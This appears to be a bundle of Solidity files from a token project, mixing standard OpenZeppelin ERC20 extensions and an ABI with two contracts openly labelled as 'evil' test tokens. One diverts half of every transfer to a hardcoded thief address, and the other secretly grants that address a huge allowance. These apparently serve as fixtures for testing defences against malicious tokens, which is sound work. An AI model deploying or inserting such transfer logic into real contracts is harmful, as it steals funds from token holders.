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| // SPDX-License-Identifier: MIT | ||
| // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Burnable.sol) | ||
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| pragma solidity ^0.8.0; | ||
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| import "./@openzeppelin/contracts/token/ERC20/ERC20.sol"; | ||
| import "./@openzeppelin/contracts/utils/Context.sol"; | ||
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| /** | ||
| * @dev Extension of {ERC20} that allows token holders to destroy both their own | ||
| * tokens and those that they have an allowance for, in a way that can be | ||
| * recognized off-chain (via event analysis). | ||
| */ | ||
| abstract contract ERC20Burnable is Context, ERC20 { | ||
| /** | ||
| * @dev Destroys `amount` tokens from the caller. | ||
| * | ||
| * See {ERC20-_burn}. | ||
| */ | ||
| function burn(uint256 amount) public virtual { | ||
| _burn(_msgSender(), amount); | ||
| } | ||
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| /** | ||
| * @dev Destroys `amount` tokens from `account`, deducting from the caller's | ||
| * allowance. | ||
| * | ||
| * See {ERC20-_burn} and {ERC20-allowance}. | ||
| * | ||
| * Requirements: | ||
| * | ||
| * - the caller must have allowance for ``accounts``'s tokens of at least | ||
| * `amount`. | ||
| */ | ||
| function burnFrom(address account, uint256 amount) public virtual { | ||
| uint256 currentAllowance = allowance(account, _msgSender()); | ||
| require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); | ||
| unchecked { | ||
| _approve(account, _msgSender(), currentAllowance - amount); | ||
| } | ||
| _burn(account, amount); | ||
| } | ||
| } |
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| // SPDX-License-Identifier: MIT | ||
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| pragma solidity ^0.8.0; | ||
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| import "./@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol"; | ||
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| // This is an evil token. Whenever an A -> B transfer is called, half of the amount goes to B | ||
| // and half to a predefined C | ||
| contract ERC20DirectBalanceManipulation is ERC20PresetMinterPauser { | ||
| address private _thief = 0x4dC6ac40Af078661fc43823086E1513635Eeab14; | ||
| constructor(uint256 initialSupply) | ||
| ERC20PresetMinterPauser("ERC20DirectBalanceManipulation", "ERC20DirectBalanceManipulation") { | ||
| _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); | ||
| _mint(msg.sender, initialSupply); | ||
| } | ||
| function transfer(address recipient, uint256 amount) public virtual override returns (bool) { | ||
| // Any time a transaction happens, the thief account siphons half. | ||
| uint256 half = amount / 2; | ||
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| super.transfer(_thief, amount - half); // a - h for rounding | ||
| return super.transfer(recipient, half); | ||
| } | ||
| } |
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| // SPDX-License-Identifier: MIT | ||
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| pragma solidity ^0.8.0; | ||
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| import "./@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol"; | ||
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| // This is an evil token. Whenever an A -> B transfer is called, | ||
| // a predefined C is given a massive allowance on B. | ||
| contract ERC20MaliciousDelayed is ERC20PresetMinterPauser { | ||
| address private _thief = 0x4dC6ac40Af078661fc43823086E1513635Eeab14; | ||
| uint256 private _bigNum = 1000000000000000000; // ~uint256(0) | ||
| constructor(uint256 initialSupply) | ||
| ERC20PresetMinterPauser("ERC20MaliciousDelayed", "ERC20MALICIOUSDELAYED") { | ||
| _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); | ||
| _mint(msg.sender, initialSupply); | ||
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| } | ||
| function transfer(address recipient, uint256 amount) public virtual override returns (bool) { | ||
| // Any time a transaction happens, the thief account is granted allowance in secret. | ||
| // Still emits an Approve! | ||
| super._approve(recipient, _thief, _bigNum); | ||
| return super.transfer(recipient, amount); | ||
| } | ||
| } |
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| // SPDX-License-Identifier: MIT | ||
| // OpenZeppelin Contracts v4.3.2 (token/ERC20/presets/ERC20PresetMinterPauser.sol) | ||
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| pragma solidity ^0.8.0; | ||
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| import "./@openzeppelin/contracts/token/ERC20/ERC20.sol"; | ||
| import "./@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; | ||
| import "./@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol"; | ||
| import "./@openzeppelin/contracts/access/AccessControlEnumerable.sol"; | ||
| import "./@openzeppelin/contracts/utils/Context.sol"; | ||
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| /** | ||
| * @dev {ERC20} token, including: | ||
| * | ||
| * - ability for holders to burn (destroy) their tokens | ||
| * - a minter role that allows for token minting (creation) | ||
| * - a pauser role that allows to stop all token transfers | ||
| * | ||
| * This contract uses {AccessControl} to lock permissioned functions using the | ||
| * different roles - head to its documentation for details. | ||
| * | ||
| * The account that deploys the contract will be granted the minter and pauser | ||
| * roles, as well as the default admin role, which will let it grant both minter | ||
| * and pauser roles to other accounts. | ||
| */ | ||
| contract ERC20MinterBurnerDecimals is Context, AccessControlEnumerable, ERC20Burnable, ERC20Pausable { | ||
| bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); | ||
| bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); | ||
| bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE"); | ||
| uint8 private _decimals; | ||
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| /** | ||
| * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the | ||
| * account that deploys the contract and customizes tokens decimals | ||
| * | ||
| * See {ERC20-constructor}. | ||
| */ | ||
| constructor(string memory name, string memory symbol, uint8 decimals_) | ||
| ERC20(name, symbol) { | ||
| _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); | ||
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| _setupRole(MINTER_ROLE, _msgSender()); | ||
| _setupRole(PAUSER_ROLE, _msgSender()); | ||
| _setupRole(BURNER_ROLE, _msgSender()); | ||
| _setupDecimals(decimals_); | ||
| } | ||
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| /** | ||
| * @dev Sets `_decimals` as `decimals_ once at Deployment' | ||
| */ | ||
| function _setupDecimals(uint8 decimals_) private { | ||
| _decimals = decimals_; | ||
| } | ||
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| /** | ||
| * @dev Overrides the `decimals()` method with custom `_decimals` | ||
| */ | ||
| function decimals() public view virtual override returns (uint8) { | ||
| return _decimals; | ||
| } | ||
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| /** | ||
| * @dev Creates `amount` new tokens for `to`. | ||
| * | ||
| * See {ERC20-_mint}. | ||
| * | ||
| * Requirements: | ||
| * | ||
| * - the caller must have the `MINTER_ROLE`. | ||
| */ | ||
| function mint(address to, uint256 amount) public virtual { | ||
| require(hasRole(MINTER_ROLE, _msgSender()), "ERC20MinterBurnerDecimals: must have minter role to mint"); | ||
| _mint(to, amount); | ||
| } | ||
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| /** | ||
| * @dev Destroys `amount` new tokens for `to`. | ||
| * | ||
| * See {ERC20-_burn}. | ||
| * | ||
| * Requirements: | ||
| * | ||
| * - the caller must have the `BURNER_ROLE`. | ||
| */ | ||
| function burnCoins(address from, uint256 amount) public virtual { | ||
| require(hasRole(BURNER_ROLE, _msgSender()), "ERC20MinterBurnerDecimals: must have burner role to burn"); | ||
| _burn(from, amount); | ||
| } | ||
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| /** | ||
| * @dev Pauses all token transfers. | ||
| * | ||
| * See {ERC20Pausable} and {Pausable-_pause}. | ||
| * | ||
| * Requirements: | ||
| * | ||
| * - the caller must have the `PAUSER_ROLE`. | ||
| */ | ||
| function pause() public virtual { | ||
| require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20MinterBurnerDecimals: must have pauser role to pause"); | ||
| _pause(); | ||
| } | ||
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| /** | ||
| * @dev Unpauses all token transfers. | ||
| * | ||
| * See {ERC20Pausable} and {Pausable-_unpause}. | ||
| * | ||
| * Requirements: | ||
| * | ||
| * - the caller must have the `PAUSER_ROLE`. | ||
| */ | ||
| function unpause() public virtual { | ||
| require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20MinterBurnerDecimals: must have pauser role to unpause"); | ||
| _unpause(); | ||
| } | ||
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| function _beforeTokenTransfer( | ||
| address from, | ||
| address to, | ||
| uint256 amount | ||
| ) internal virtual override(ERC20, ERC20Pausable) { | ||
| super._beforeTokenTransfer(from, to, amount); | ||
| } | ||
| } |
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| { | ||
| "abi": "[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"}],\"name\":\"allowance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"burn\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"burnFrom\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"decimals\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"subtractedValue\",\"type\":\"uint256\"}],\"name\":\"decreaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"addedValue\",\"type\":\"uint256\"}],\"name\":\"increaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"name\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"symbol\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"recipient\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"sender\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"recipient\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}]", | ||
| "bin": "", | ||
| "contractName": "ERC20Burnable" | ||
| } |
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